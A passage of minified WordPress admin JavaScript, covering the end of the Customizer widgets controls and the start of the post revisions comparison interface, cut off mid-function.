t,i;"keypress"===e.type&&13!==e.which&&32!==e.which||(h(this).trigger("focus"),h(this).is(".move-widget")?d.toggleWidgetMoveArea():(e=h(this).is(".move-widget-down"),t=h(this).is(".move-widget-up"),i=d.getWidgetSidebarPosition(),t&&0===i||e&&i===d.getSidebarWidgetsControl().setting().length-1||(t?(d.moveUp(),u.a11y.speak(f.widgetMovedUp)):(d.moveDown(),u.a11y.speak(f.widgetMovedDown)),h(this).trigger("focus"))))}),this.container.find(".widget-area-select").on("click keypress","li",function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||(e.preventDefault(),s(h(this)))}),this.container.find(".move-widget-btn").click(function(){d.getSidebarWidgetsControl().toggleReordering(!1);var e=d.params.sidebar_id,t=d.container.find(".widget-area-select li.selected").data("id"),e=p("sidebars_widgets["+e+"]"),t=p("sidebars_widgets["+t+"]"),i=Array.prototype.slice.call(e()),n=Array.prototype.slice.call(t()),s=d.getWidgetSidebarPosition();i.splice(s,1),n.push(d.params.widget_id),e(i),t(n),d.focus()})},_setupHighlightEffects:function(){var e=this;this.container.on("mouseenter click",function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)}),this.setting.bind(function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)})},_setupUpdateUI:function(){var t,i,n=this,s=this.container.find(".widget:first"),e=s.find(".widget-content:first"),d=this.container.find(".widget-control-save");d.val(f.saveBtnLabel),d.attr("title",f.saveBtnTooltip),d.removeClass("button-primary"),d.on("click",function(e){e.preventDefault(),n.updateWidget({disable_form:!0})}),t=_.debounce(function(){n.updateWidget()},250),e.on("keydown","input",function(e){13===e.which&&(e.preventDefault(),n.updateWidget({ignoreActiveElement:!0}))}),e.on("change input propertychange",":input",function(e){n.liveUpdateMode&&("change"===e.type||this.checkValidity&&this.checkValidity())&&t()}),this.setting.previewer.channel.bind("synced",function(){n.container.removeClass("previewer-loading")}),p.previewer.bind("widget-updated",function(e){e===n.params.widget_id&&n.container.removeClass("previewer-loading")}),(i=p.Widgets.formSyncHandlers[this.params.widget_id_base])&&h(document).on("widget-synced",function(e,t){s.is(t)&&i.apply(document,arguments)})},onChangeActive:function(e,t){this.container.toggleClass("widget-rendered",e),t.completeCallback&&t.completeCallback()},_setupRemoveUI:function(){var e,s=this,t=this.container.find(".widget-control-remove");t.on("click",function(){var n=s.container.next().is(".customize-control-widget_form")?s.container.next().find(".widget-action:first"):s.container.prev().is(".customize-control-widget_form")?s.container.prev().find(".widget-action:first"):s.container.next(".customize-control-sidebar_widgets").find(".add-new-widget:first");s.container.slideUp(function(){var e,t,i=p.Widgets.getSidebarWidgetControlContainingWidget(s.params.widget_id);i&&(e=i.setting().slice(),-1!==(t=_.indexOf(e,s.params.widget_id)))&&(e.splice(t,1),i.setting(e),n.focus())})}),e=function(){t.text(f.removeBtnLabel),t.attr("title",f.removeBtnTooltip)},this.params.is_new?p.bind("saved",e):e()},_getInputs:function(e){return h(e).find(":input[name]")},_getInputsSignature:function(e){return _(e).map(function(e){e=h(e),e=e.is(":checkbox, :radio")?[e.attr("id"),e.attr("name"),e.prop("value")]:[e.attr("id"),e.attr("name")];return e.join(",")}).join(";")},_getInputState:function(e){return(e=h(e)).is(":radio, :checkbox")?e.prop("checked"):e.is("select[multiple]")?e.find("option:selected").map(function(){return h(this).val()}).get():e.val()},_setInputState:function(e,t){(e=h(e)).is(":radio, :checkbox")?e.prop("checked",t):e.is("select[multiple]")?(t=Array.isArray(t)?_.map(t,function(e){return String(e)}):[],e.find("option").each(function(){h(this).prop("selected",-1!==_.indexOf(t,String(this.value)))})):e.val(t)},getSidebarWidgetsControl:function(){var e="sidebars_widgets["+this.params.sidebar_id+"]",e=p.control(e);if(e)return e},updateWidget:function(s){var d,a,o,r,e,l,t,i,c,g=this;g.embedWidgetContent(),i=(s=h.extend({instance:null,complete:null,ignoreActiveElement:!1},s)).instance,d=s.complete,this._updateCount+=1,r=this._updateCount,a=this.container.find(".widget:first"),(o=a.find(".widget-content:first")).find(".widget-error").remove(),this.container.addClass("widget-form-loading"),this.container.addClass("previewer-loading"),(t=p.state("processing"))(t()+1),this.liveUpdateMode||this.container.addClass("widget-form-disabled"),(e={action:"update-widget",wp_customize:"on"}).nonce=p.settings.nonce["update-widget"],e.customize_theme=p.settings.theme.stylesheet,e.customized=u.customize.previewer.query().customized,e=h.param(e),(l=this._getInputs(o)).each(function(){h(this).data("state"+r,g._getInputState(this))}),e=(e+=i?"&"+h.param({sanitized_widget_setting:JSON.stringify(i)}):"&"+l.serialize())+"&"+o.find("~ :input").serialize(),this._previousUpdateRequest&&this._previousUpdateRequest.abort(),i=h.post(u.ajax.settings.url,e),(this._previousUpdateRequest=i).done(function(e){var n,t,i=!1;"0"===e?(p.previewer.preview.iframe.hide(),p.previewer.login().done(function(){g.updateWidget(s),p.previewer.preview.iframe.show()})):"-1"===e?p.previewer.cheatin():e.success?(t=h("<div>"+e.data.form+"</div>"),n=g._getInputs(t),(t=g._getInputsSignature(l)===g._getInputsSignature(n))&&!g.liveUpdateMode&&(g.liveUpdateMode=!0,g.container.removeClass("widget-form-disabled"),g.container.find('input[name="savewidget"]').hide()),t&&g.liveUpdateMode?(l.each(function(e){var t=h(this),e=h(n[e]),i=t.data("state"+r),e=g._getInputState(e);t.data("sanitized",e),_.isEqual(i,e)||!s.ignoreActiveElement&&t.is(document.activeElement)||g._setInputState(t,e)}),h(document).trigger("widget-synced",[a,e.data.form])):g.liveUpdateMode?(g.liveUpdateMode=!1,g.container.find('input[name="savewidget"]').show(),i=!0):(o.html(e.data.form),g.container.removeClass("widget-form-disabled"),h(document).trigger("widget-updated",[a])),(c=!i&&!_(g.setting()).isEqual(e.data.instance))?(g.isWidgetUpdating=!0,g.setting(e.data.instance),g.isWidgetUpdating=!1):g.container.removeClass("previewer-loading"),d&&d.call(g,null,{noChange:!c,ajaxFinished:!0})):(t=f.error,e.data&&e.data.message&&(t=e.data.message),d?d.call(g,t):o.prepend('<p class="widget-error"><strong>'+t+"</strong></p>"))}),i.fail(function(e,t){d&&d.call(g,t)}),i.always(function(){g.container.removeClass("widget-form-loading"),l.each(function(){h(this).removeData("state"+r)}),t(t()-1)})},expandControlSection:function(){p.Control.prototype.expand.call(this)},_toggleExpanded:p.Section.prototype._toggleExpanded,expand:p.Section.prototype.expand,expandForm:function(){this.expand()},collapse:p.Section.prototype.collapse,collapseForm:function(){this.collapse()},toggleForm:function(e){void 0===e&&(e=!this.expanded()),this.expanded(e)},onChangeExpanded:function(e,t){var i,n,s,d,a,o=this;o.embedWidgetControl(),e&&o.embedWidgetContent(),t.unchanged?e&&p.Control.prototype.expand.call(o,{completeCallback:t.completeCallback}):(i=this.container.find("div.widget:first"),n=i.find(".widget-inside:first"),e=function(){p.control.each(function(e){o.params.type===e.params.type&&o!==e&&e.collapse()}),s=function(){o.container.removeClass("expanding"),o.container.addClass("expanded"),i.addClass("open"),a.attr("aria-expanded","true"),o.container.trigger("expanded")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.params.is_wide?n.fadeIn(t.duration,s):n.slideDown(t.duration,s),o.container.trigger("expand"),o.container.addClass("expanding")},"false"===(a=this.container.find(".widget-top button.widget-action")).attr("aria-expanded")?p.section.has(o.section())?p.section(o.section()).expand({completeCallback:e}):e():(s=function(){o.container.removeClass("collapsing"),o.container.removeClass("expanded"),i.removeClass("open"),a.attr("aria-expanded","false"),o.container.trigger("collapsed")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.container.trigger("collapse"),o.container.addClass("collapsing"),o.params.is_wide?n.fadeOut(t.duration,s):n.slideUp(t.duration,function(){i.css({width:"",margin:""}),s()})))},getWidgetSidebarPosition:function(){var e=this.getSidebarWidgetsControl().setting(),e=_.indexOf(e,this.params.widget_id);if(-1!==e)return e},moveUp:function(){this._moveWidgetByOne(-1)},moveDown:function(){this._moveWidgetByOne(1)},_moveWidgetByOne:function(e){var t=this.getWidgetSidebarPosition(),i=this.getSidebarWidgetsControl().setting,n=Array.prototype.slice.call(i()),s=n[t+e];n[t+e]=this.params.widget_id,n[t]=s,i(n)},toggleWidgetMoveArea:function(e){var t=this,i=this.container.find(".move-widget-area");(e=void 0===e?!i.hasClass("active"):e)&&(i.find(".selected").removeClass("selected"),i.find("li").filter(function(){return h(this).data("id")===t.params.sidebar_id}).addClass("selected"),this.container.find(".move-widget-btn").prop("disabled",!0)),i.toggleClass("active",e)},highlightSectionAndControl:function(){var e=this.container.is(":hidden")?this.container.closest(".control-section"):this.container;h(".highlighted").removeClass("highlighted"),e.addClass("highlighted"),setTimeout(function(){e.removeClass("highlighted")},500)}}),p.Widgets.WidgetsPanel=p.Panel.extend({ready:function(){var d=this;p.Panel.prototype.ready.call(d),d.deferred.embedded.done(function(){var t,i,n,e=d.container.find(".panel-meta"),s=h("<div></div>",{class:"no-widget-areas-rendered-notice"});e.append(s),i=function(){return _.filter(d.sections(),function(e){return"sidebar"===e.params.type&&e.active()}).length},n=function(){var e=i();return 0===e||e!==p.Widgets.data.registeredSidebars.length},(t=function(){var e,t=i();s.empty(),t!==(e=p.Widgets.data.registeredSidebars.length)&&((e=0!==t?f.someAreasShown[e-t]:f.noAreasShown)&&s.append(h("<p></p>",{text:e})),s.append(h("<p></p>",{text:f.navigatePreview})))})(),s.toggle(n()),p.previewer.deferred.active.done(function(){s.toggle(n())}),p.bind("pane-contents-reflowed",function(){var e="resolved"===p.previewer.deferred.active.state()?"fast":0;t(),n()?s.slideDown(e):s.slideUp(e)})})},isContextuallyActive:function(){return this.active()}}),p.Widgets.SidebarSection=p.Section.extend({ready:function(){var t;p.Section.prototype.ready.call(this),t=p.Widgets.registeredSidebars.get(this.params.sidebarId),this.active.bind(function(e){t.set("is_rendered",e)}),t.set("is_rendered",this.active())}}),p.Widgets.SidebarControl=p.Control.extend({ready:function(){this.$controlSection=this.container.closest(".control-section"),this.$sectionContent=this.container.closest(".accordion-section-content"),this._setupModel(),this._setupSortable(),this._setupAddition(),this._applyCardinalOrderClassNames()},_setupModel:function(){var s=this;this.setting.bind(function(i,e){var t,n,e=_(e).difference(i);i=_(i).filter(function(e){e=c(e);return!!p.Widgets.availableWidgets.findWhere({id_base:e.id_base})}),(t=_(i).map(function(e){return p.Widgets.getWidgetFormControlForWidget(e)||s.addWidget(e)})).sort(function(e,t){return _.indexOf(i,e.params.widget_id)-_.indexOf(i,t.params.widget_id)}),n=0,_(t).each(function(e){e.priority(n),e.section(s.section()),n+=1}),s.priority(n),s._applyCardinalOrderClassNames(),_(t).each(function(e){e.params.sidebar_id=s.params.sidebar_id}),_(e).each(function(n){setTimeout(function(){var e,t,i=!1;p.each(function(e){e.id!==s.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&"sidebars_widgets[wp_inactive_widgets]"!==e.id&&(e=e(),-1!==_.indexOf(e,n))&&(i=!0)}),i||(t=(e=p.Widgets.getWidgetFormControlForWidget(n))&&h.contains(document,e.container[0])&&!h.contains(s.$sectionContent[0],e.container[0]),e&&!t&&(p.control.remove(e.id),e.container.remove()),p.Widgets.savedWidgetIds[n]&&((t=p.value("sidebars_widgets[wp_inactive_widgets]")().slice()).push(n),p.value("sidebars_widgets[wp_inactive_widgets]")(_(t).unique())),e=c(n).id_base,(t=p.Widgets.availableWidgets.findWhere({id_base:e}))&&!t.get("is_multi")&&t.set("is_disabled",!1))})})})},_setupSortable:function(){var t=this;this.isReordering=!1,this.$sectionContent.sortable({items:"> .customize-control-widget_form",handle:".widget-top",axis:"y",tolerance:"pointer",connectWith:".accordion-section-content:has(.customize-control-sidebar_widgets)",update:function(){var e=t.$sectionContent.sortable("toArray"),e=h.map(e,function(e){return h("#"+e).find(":input[name=widget-id]").val()});t.setting(e)}}),this.$controlSection.find(".accordion-section-title").droppable({accept:".customize-control-widget_form",over:function(){p.section(t.section.get()).expand({allowMultiple:!0,completeCallback:function(){p.section.each(function(e){e.container.find(".customize-control-sidebar_widgets").length&&e.container.find(".accordion-section-content:first").sortable("refreshPositions")})}})}}),this.container.find(".reorder-toggle").on("click",function(){t.toggleReordering(!t.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-widget").on("click",function(){var e=h(this);t.$sectionContent.hasClass("reordering")||(h("body").hasClass("adding-widget")?(e.attr("aria-expanded","false"),p.Widgets.availableWidgetsPanel.close()):(e.attr("aria-expanded","true"),p.Widgets.availableWidgetsPanel.open(t)))})},_applyCardinalOrderClassNames:function(){var t=[];_.each(this.setting(),function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&t.push(e)}),0===t.length||1===p.Widgets.registeredSidebars.length&&t.length<=1?this.container.find(".reorder-toggle").hide():(this.container.find(".reorder-toggle").show(),h(t).each(function(){h(this.container).removeClass("first-widget").removeClass("last-widget").find(".move-widget-down, .move-widget-up").prop("tabIndex",0)}),_.first(t).container.addClass("first-widget").find(".move-widget-up").prop("tabIndex",-1),_.last(t).container.addClass("last-widget").find(".move-widget-down").prop("tabIndex",-1))},toggleReordering:function(e){var t=this.$sectionContent.find(".add-new-widget"),i=this.container.find(".reorder-toggle"),n=this.$sectionContent.find(".widget-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),e?(_(this.getWidgetFormControls()).each(function(e){e.collapse()}),t.attr({tabindex:"-1","aria-hidden":"true"}),i.attr("aria-label",f.reorderLabelOff),u.a11y.speak(f.reorderModeOn),n.attr("aria-hidden","true")):(t.removeAttr("tabindex aria-hidden"),i.attr("aria-label",f.reorderLabelOn),u.a11y.speak(f.reorderModeOff),n.attr("aria-hidden","false")))},getWidgetFormControls:function(){var t=[];return _(this.setting()).each(function(e){e=function(e){var t,e=c(e);t="widget_"+e.id_base,e.number&&(t+="["+e.number+"]");return t}(e),e=p.control(e);e&&t.push(e)}),t},addWidget:function(n){var e,t,i,s,d,a=this,o="widget_form",r=c(n),l=r.number,r=r.id_base,r=p.Widgets.availableWidgets.findWhere({id_base:r});return!(!r||l&&!r.get("is_multi"))&&(r.get("is_multi")&&!l&&(r.set("multi_number",r.get("multi_number")+1),l=r.get("multi_number")),e=h("#widget-tpl-"+r.get("id")).html().trim(),r.get("is_multi")?e=e.replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,l)}):r.set("is_disabled",!0),e=h(e),(e=h("<li/>").addClass("customize-control").addClass("customize-control-"+o).append(e)).find("> .widget-icon").remove(),r.get("is_multi")&&(e.find('input[name="widget_number"]').val(l),e.find('input[name="multi_number"]').val(l)),n=e.find('[name="widget-id"]').val(),e.hide(),t="widget_"+r.get("id_base"),r.get("is_multi")&&(t+="["+l+"]"),e.attr("id","customize-control-"+t.replace(/\]/g,"").replace(/\[/g,"-")),(i=p.has(t))||(d={transport:p.Widgets.data.selectiveRefreshableWidgets[r.get("id_base")]?"postMessage":"refresh",previewer:this.setting.previewer},p.create(t,t,"",d).set({})),d=p.controlConstructor[o],s=new d(t,{settings:{default:t},content:e,sidebar_id:a.params.sidebar_id,widget_id:n,widget_id_base:r.get("id_base"),type:o,is_new:!i,width:r.get("width"),height:r.get("height"),is_wide:r.get("is_wide")}),p.control.add(s),p.each(function(e){var t,i;e.id!==a.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&(t=e().slice(),-1!==(i=_.indexOf(t,n)))&&(t.splice(i),e(t))}),d=this.setting().slice(),-1===_.indexOf(d,n)&&(d.push(n),this.setting(d)),e.slideDown(function(){i&&s.updateWidget({instance:s.setting()})}),s)}}),h.extend(p.panelConstructor,{widgets:p.Widgets.WidgetsPanel}),h.extend(p.sectionConstructor,{sidebar:p.Widgets.SidebarSection}),h.extend(p.controlConstructor,{widget_form:p.Widgets.WidgetControl,sidebar_widgets:p.Widgets.SidebarControl}),p.bind("ready",function(){p.Widgets.availableWidgetsPanel=new p.Widgets.AvailableWidgetsPanelView({collection:p.Widgets.availableWidgets}),p.previewer.bind("highlight-widget-control",p.Widgets.highlightWidgetFormControl),p.previewer.bind("focus-widget-control",p.Widgets.focusWidgetFormControl)}),p.Widgets.highlightWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.highlightSectionAndControl()},p.Widgets.focusWidgetFormControl=function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&e.focus()},p.Widgets.getSidebarWidgetControlContainingWidget=function(t){var i=null;return p.control.each(function(e){"sidebar_widgets"===e.params.type&&-1!==_.indexOf(e.setting(),t)&&(i=e)}),i},p.Widgets.getWidgetFormControlForWidget=function(t){var i=null;return p.control.each(function(e){"widget_form"===e.params.type&&e.params.widget_id===t&&(i=e)}),i},h(document).on("widget-added",function(e,t){var s,d,i,n=c(t.find("> .widget-inside > .form > .widget-id").val());"nav_menu"===n.id_base&&(s=p.control("widget_nav_menu["+String(n.number)+"]"))&&(d=t.find('select[name*="nav_menu"]'),i=t.find(".edit-selected-nav-menu > button"),0!==d.length)&&0!==i.length&&(d.on("change",function(){p.section.has("nav_menu["+d.val()+"]")?i.parent().show():i.parent().hide()}),i.on("click",function(){var i,n,e=p.section("nav_menu["+d.val()+"]");e&&(n=s,(i=e).focus(),i.expanded.bind(function e(t){t||(i.expanded.unbind(e),n.focus())}))}))}))}(window.wp,jQuery);/*! This file is auto-generated */
window.wp=window.wp||{},function(a){var s=wp.revisions={model:{},view:{},controller:{}};s.settings=window._wpRevisionsSettings||{},s.debug=!1,s.log=function(){window.console&&s.debug&&window.console.log.apply(window.console,arguments)},a.fn.allOffsets=function(){var e=this.offset()||{top:0,left:0},i=a(window);return _.extend(e,{right:i.width()-e.left-this.outerWidth(),bottom:i.height()-e.top-this.outerHeight()})},a.fn.allPositions=function(){var e=this.position()||{top:0,left:0},i=this.parent();return _.extend(e,{right:i.outerWidth()-e.left-this.outerWidth(),bottom:i.outerHeight()-e.top-this.outerHeight()})},s.model.Slider=Backbone.Model.extend({defaults:{value:null,values:null,min:0,max:1,step:1,range:!1,compareTwoMode:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.listenTo(this.frame,"update:revisions",this.receiveRevisions),this.listenTo(this.frame,"change:compareTwoMode",this.updateMode),this.on("change:from",this.handleLocalChanges),this.on("change:to",this.handleLocalChanges),this.on("change:compareTwoMode",this.updateSliderSettings),this.on("update:revisions",this.updateSliderSettings),this.on("change:hoveredRevision",this.hoverRevision),this.set({max:this.revisions.length-1,compareTwoMode:this.frame.get("compareTwoMode"),from:this.frame.get("from"),to:this.frame.get("to")}),this.updateSliderSettings()},getSliderValue:function(e,i){return isRtl?this.revisions.length-this.revisions.indexOf(this.get(e))-1:this.revisions.indexOf(this.get(i))},updateSliderSettings:function(){this.get("compareTwoMode")?this.set({values:[this.getSliderValue("to","from"),this.getSliderValue("from","to")],value:null,range:!0}):this.set({value:this.getSliderValue("to","to"),values:null,range:!1}),this.trigger("update:slider")},hoverRevision:function(e,i){this.trigger("hovered:revision",i)},updateMode:function(e,i){this.set({compareTwoMode:i})},handleLocalChanges:function(){this.frame.set({from:this.get("from"),to:this.get("to")})},receiveRevisions:function(e,i){this.get("from")===e&&this.get("to")===i||(this.set({from:e,to:i},{silent:!0}),this.trigger("update:revisions",e,i))}}),s.model.Tooltip=Backbone.Model.extend({defaults:{revision:null,offset:{},hovering:!1,scrubbing:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.slider=e.slider,this.listenTo(this.slider,"hovered:revision",this.updateRevision),this.listenTo(this.slider,"change:hovering",this.setHovering),this.listenTo(this.slider,"change:scrubbing",this.setScrubbing)},updateRevision:function(e){this.set({revision:e})},setHovering:function(e,i){this.set({hovering:i})},setScrubbing:function(e,i){this.set({scrubbing:i})}}),s.model.Revision=Backbone.Model.extend({}),s.model.Revisions=Backbone.Collection.extend({model:s.model.Revision,initialize:function(){_.bindAll(this,"next","prev")},next:function(e){e=this.indexOf(e);if(-1!==e&&e!==this.length-1)return this.at(e+1)},prev:function(e){e=this.indexOf(e);if(-1!==e&&0!==e)return this.at(e-1)}}),s.model.Field=Backbone.Model.extend({}),s.model.Fields=Backbone.Collection.extend({model:s.model.Field}),s.model.Diff=Backbone.Model.extend({initialize:function(){var e=this.get("fields");this.unset("fields"),this.fields=new s.model.Fields(e)}}),s.model.Diffs=Backbone.Collection.extend({initialize:function(e,i){_.bindAll(this,"getClosestUnloaded"),this.loadAll=_.once(this._loadAll),this.revisions=i.revisions,this.postId=i.postId,this.requests={}},model:s.model.Diff,ensure:function(e,i){var t=this.get(e),s=this.requests[e],o=a.Deferred(),n={},r=e.split(":")[0],l=e.split(":")[1];return n[e]=!0,wp.revisions.log("ensure",e),this.trigger("ensure",n,r,l,o.promise()),t?o.resolveWith(i,[t]):(this.trigger("ensure:load",n,r,l,o.promise()),_.each(n,_.bind(function(e){this.requests[e]&&delete n[e],this.get(e)&&delete n[e]},this)),s||(n[e]=!0,s=this.load(_.keys(n))),s.done(_.bind(function(){o.resolveWith(i,[this.get(e)])},this)).fail(_.bind(function(){o.reject()}))),o.promise()},getClosestUnloaded:function(e,i){var t=this;return _.chain([0].concat(e)).initial().zip(e).sortBy(function(e){return Math.abs(i-e[1])}).map(function(e){return e.join(":")}).filter(function(e){return _.isUndefined(t.get(e))&&!t.requests[e]}).value()},_loadAll:function(e,i,t){var s=this,o=a.Deferred(),n=_.first(this.getClosestUnloaded(e,i),t);return 0<_.size(n)?this.load(n).done(function(){s._loadAll(e,i,t).done(function(){o.resolve()})}).fail(function(){1===t?o.reject():s._loadAll(e,i,Math.ceil(t/2)).done(function(){o.resolve()})}):o.resolve(),o},load:function(e){return wp.revisions.log("load",e),this.fetch({data:{compare:e},remove:!1}).done(function(){wp.revisions.log("load:complete",e)})},sync:function(e,i,t){var s,o;return"read"===e?((t=t||{}).context=this,t.data=_.extend(t.data||{},{action:"get-revision-diffs",post_id:this.postId}),s=wp.ajax.send(t),o=this.requests,t.data.compare&&_.each(t.data.compare,function(e){o[e]=s}),s.always(function(){t.data.compare&&_.each(t.data.compare,function(e){delete o[e]})}),s):Backbone.Model.prototype.sync.apply(this,arguments)}}),s.model.FrameState=Backbone.Model.extend({defaults:{loading:!1,error:!1,compareTwoMode:!1},initialize:function(e,i){var t=this.get("initialDiffState");_.bindAll(this,"receiveDiff"),this._debouncedEnsureDiff=_.debounce(this._ensureDiff,200),this.revisions=i.revisions,this.diffs=new s.model.Diffs([],{revisions:this.revisions,postId:this.get("postId")}),this.diffs.set(this.get("diffData")),this.listenTo(this,"change:from",this.changeRevisionHandler),this.listenTo(this,"change:to",this.changeRevisionHandler),this.listenTo(this,"change:compareTwoMode",this.changeMode),this.listenTo(this,"update:revisions",this.updatedRevisions),this.listenTo(this.diffs,"ensure:load",this.updateLoadingStatus),this.listenTo(this,"update:diff",this.updateLoadingStatus),this.set({to:this.revisions.get(t.to),from:this.revisions.get(t.from),compareTwoMode:t.compareTwoMode}),window.history&&window.history.pushState&&(this.router=new s.Router({model:this}),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({pushState:!0}))},updateLoadingStatus:function(){this.set("error",!1),this.set("loading",!this.diff())},changeMode:function(e,i){var t=this.revisions.indexOf(this.get("to"));i&&0===t&&this.set({from:this.revisions.at(t),to:this.revisions.at(t+1)}),i||0===t||this.set({from:this.revisions.at(t-1),to:this.revisions.at(t)})},updatedRevisions:function(e,i){this.get("compareTwoMode")||this.diffs.loadAll(this.revisions.pluck("id"),i.id,40)},diff:function(){return this.diffs.get(this._diffId)},updateDiff:function(e){var i,t,s;return e=e||{},s=this.get("from"),i=this.get("to"),t=(s?s.id:0)+":"+i.id,this._diffId===t?a.Deferred().reject().promise():(this._diffId=t,this.trigger("update:revisions",s,i),(s=this.diffs.get(t))?(this.receiveDiff(s),a.Deferred().resolve().promise()):e.immediate?this._ensureDiff():(this._debouncedEnsureDiff(),a.Deferred().reject().promise()))},changeRevisionHandler:function(){this.updateDiff()},receiveDiff:function(e){_.isUndefined(e)||_.isUndefined(e.id)?this.set({loading:!1,error:!0}):this._diffId===e.id&&this.trigger("update:diff",e)},_ensureDiff:function(){return this.diffs.ensure(this._diffId,this).always(this.receiveDiff)}}),s.view.Frame=wp.Backbone.View.extend({className:"revisions",template:wp.template("revisions-frame"),initialize:function(){this.listenTo(this.model,"update:diff",this.renderDiff),this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode),this.listenTo(this.model,"change:loading",this.updateLoadingStatus),this.listenTo(this.model,"change:error",this.updateErrorStatus),this.views.set(".revisions-control-frame",new s.view.Controls({model:this.model}))},render:function(){return wp.Backbone.View.prototype.render.apply(this,arguments),a("html").css("overflow-y","scroll"),a("#wpbody-content .wrap").append(this.el),this.updateCompareTwoMode(),this.renderDiff(this.model.diff()),this.views.ready(),this},renderDiff:function(e){this.views.set(".revisions-diff-frame",new s.view.Diff({model:e}))},updateLoadingStatus:function(){this.$el.toggleClass("loading",this.model.get("loading"))},updateErrorStatus:function(){this.$el.toggleClass("diff-error",this.model.get("error"))},updateCompareTwoMode:function(){this.$el.toggleClass("comparing-two-revisions",this.model.get("compareTwoMode"))}}),s.view.Controls=wp.Backbone.View.extend({className:"revisions-controls",initialize:function(){_.bindAll(this,"setWidth"),this.views.add(new s.view.Buttons({model:this.model})),this.views.add(new s.view.Checkbox({model:this.model}));var e=new s.model.Slider({frame:this.model,revisions:this.model.revisions}),i=new s.model.Tooltip({frame:this.model,revisions:this.model.revisions,slider:e});this.views.add(new s.view.Tooltip({model:i})),this.views.add(new s.view.Tickmarks({model:i})),this.views.add(new s.view.Slider({model:e})),this.views.add(new s.view.Metabox({model:this.model}))},ready:function(){this.top=this.$el.offset().top,this.window=a(window),this.window.on("scroll.wp.revisions",{controls:this},function(e){var e=e.data.controls,i=e.$el.parent(),t=e.window.scrollTop(),s=e.views.parent;t>=e.top?(s.$el.hasClass("pinned")||(e.setWidth(),i.css("height",i.height()+"px"),e.window.on("resize.wp.revisions.pinning click.wp.revisions.pinning",{controls:e},function(e){e.data.controls.setWidth()})),s.$el.addClass("pinned")):(s.$el.hasClass("pinned")&&(e.window.off(".wp.revisions.pinning"),e.$el.css("width","auto"),s.$el.removeClass("pinned"),i.css("height","auto")),e.top=e.$el.offset().top)})},setWidth:function(){this.$el.css("width",this.$el.parent().width()+"px")}}),s.view.Tickmarks=wp.Backbone.View.extend({className:"revisions-tickmarks",direction:isRtl?"right":"left",initialize:function(){this.listenTo(this.model,"change:revision",this.reportTickPosition)},reportTickPosition:function(e,i){var t,i=this.model.revisions.indexOf(i),s=this.$el.allOffsets(),o=this.$el.parent().allOffsets();i===this.model.revisions.length-1?t={rightPlusWidth:s.left-o.left+1,leftPlusWidth:s.right-o.right+1}:(t=(i=this.$("div:nth-of-type("+(i+1)+")")).allPositions(),_.extend(t,{left:t.left+s.left-o.left,right:t.right+s.right-o.right}),_.extend(t,{leftPlusWidth:t.left+i.outerWidth(),rightPlusWidth:t.right+i.outerWidth()})),this.model.set({offset:t})},ready:function(){var e=this.model.revisions.length-1,i=1/e;this.$el.css("width",50*this.model.revisions.length+"px"),_(e).times(function(e){this.$el.append('<div style="'+this.direction+": "+100*i*e+'%"></div>')},this)}}),s.view.Metabox=wp.Backbone.View.extend({className:"revisions-meta",initialize:function(){this.views.add(new s.view.MetaFrom({model:this.model,className:"diff-meta diff-meta-from"})),this.views.add(new s.view.MetaTo({model:this.model}))}}),s.view.Meta=wp.Backbone.View.extend({template:wp.template("revisions-meta"),events:{"click .restore-revision":"restoreRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.render)},prepare:function(){return _.extend(this.model.toJSON()[this.type]||{},{type:this.type})},restoreRevision:function(){document.location=this.model.get("to").attributes.restoreUrl}}),s.view.MetaFrom=s.view.Meta.extend({className:"diff-meta diff-meta-from",type:"from"}),s.view.MetaTo=s.view.Meta.extend({className:"diff-meta diff-meta-to",type:"to"}),s.view.Checkbox=wp.Backbone.View.extend({className:"revisions-checkbox",template:wp.template("revisions-checkbox"),events:{"click .compare-two-revisions":"compareTwoToggle"},initialize:function(){this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode)},ready:function(){this.model.revisions.length<3&&a(".revision-toggle-compare-mode").hide()},updateCompareTwoMode:function(){this.$(".compare-two-revisions").prop("checked",this.model.get("compareTwoMode"))},compareTwoToggle:function(){this.model.set({compareTwoMode:a(".compare-two-revisions").prop("checked")})}}),s.view.Tooltip=wp.Backbone.View.extend({className:"revisions-tooltip",template:wp.template("revisions-meta"),initialize:function(){this.listenTo(this.model,"change:offset",this.render),this.listenTo(this.model,"change:hovering",this.toggleVisibility),this.listenTo(this.model,"change:scrubbing",this.toggleVisibility)},prepare:function(){if(!_.isNull(this.model.get("revision")))return _.extend({type:"tooltip"},{attributes:this.model.get("revision").toJSON()})},render:function(){var e,i={},t=.5<(this.model.revisions.indexOf(this.model.get("revision"))+1)/this.model.revisions.length,s=isRtl?(e=t?"left":"right",t?"leftPlusWidth":e):(e=t?"right":"left",t?"rightPlusWidth":e),o="right"===e?"left":"right";wp.Backbone.View.prototype.render.apply(this,arguments),i[e]=this.model.get("offset")[s]+"px",i[o]="",this.$el.toggleClass("flipped",t).css(i)},visible:function(){return this.model.get("scrubbing")||this.model.get("hovering")},toggleVisibility:function(){this.visible()?this.$el.stop().show().fadeTo(100-100*this.el.style.opacity,1):this.$el.stop().fadeTo(300*this.el.style.opacity,0,function(){a(this).hide()})}}),s.view.Buttons=wp.Backbone.View.extend({className:"revisions-buttons",template:wp.template("revisions-buttons"),events:{"click .revisions-next .button":"nextRevision","click .revisions-previous .button":"previousRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.disabledButtonCheck)},ready:function(){this.disabledButtonCheck()},gotoModel:function(e){var 